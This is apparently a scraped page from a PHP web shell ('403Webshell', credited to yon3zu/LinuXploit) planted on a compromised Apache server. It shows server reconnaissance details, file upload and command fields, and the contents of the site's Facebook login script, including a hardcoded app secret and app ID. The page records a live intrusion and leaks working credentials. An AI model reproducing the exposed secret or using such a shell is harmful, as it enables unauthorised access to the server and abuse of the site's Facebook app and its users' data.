403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/maxurtrip/Facebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/maxurtrip/Facebook/index.php
<?php
session_start();
// added in v4.0.0
require_once 'autoload.php';
use Facebook\FacebookSession;
use Facebook\FacebookRedirectLoginHelper;
use Facebook\FacebookRequest;
use Facebook\FacebookResponse;
use Facebook\FacebookSDKException;
use Facebook\FacebookRequestException;
use Facebook\FacebookAuthorizationException;
use Facebook\GraphObject;
use Facebook\Entities\AccessToken;
use Facebook\HttpClients\FacebookCurlHttpClient;
use Facebook\HttpClients\FacebookHttpable;
define('facebook_client_secret','c44e64aa08b7954254af35cc3de9d8ff');
define('facebook_app_id','3465247856857418');

// init app with app id and secret  
FacebookSession::setDefaultApplication(facebook_app_id,facebook_client_secret);
// login helper with redirect_uri
$helper = new FacebookRedirectLoginHelper('https://www.tripee.in/Facebook/index.php');
try {
  $session = $helper->getSessionFromRedirect();
} catch( FacebookRequestException $ex ) {
  $session = $ex;
  // When Facebook returns an error
} catch( Exception $ex ) {
  // When validation fails or other local issues
}
//echo"<pre>";print_r($session);die;
// see if we have a session
if ( isset( $session ) ) {
  // graph api request for user data
  $request = new FacebookRequest( $session, 'GET', '/me?fields=id, first_name, last_name, email,  picture.type(large)' );
  $response = $request->execute();
  // get response
  
  $graphObject = $response->getGraphObject();
      $fbid = $graphObject->getProperty('id');              // To Get Facebook ID
        $fbfirst_name = $graphObject->getProperty('first_name'); // To Get Facebook full name
        $fblast_name = $graphObject->getProperty('last_name'); // To Get Facebook full name
        $femail = $graphObject->getProperty('email');    // To Get Facebook email ID
       
        
        $data = array(
            'fbid'=> $fbid,
            'ffirst_name'=> $fbfirst_name,
            'flast_name'=> $fblast_name,
            'femail'=> $femail,
            'profilephoto'=> 'https://graph.facebook.com/'.$fbid,
        );
        //print_r($data);die('ll');
        $_SESSION['Fbdata'] = $data; 
    /* ---- Session Variables -----*/
//        $_SESSION['FBID'] = $fbid;           
//        $_SESSION['FULLNAME'] = $fbfullname;
//        $_SESSION['EMAIL'] =  $femail;
    /* ---- header location after session ----*/
  header("Location: check.php");
  
} else {
  $permissions = ['email'];
  $loginUrl = $helper->getLoginUrl($permissions);
 header("Location: ".$loginUrl);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit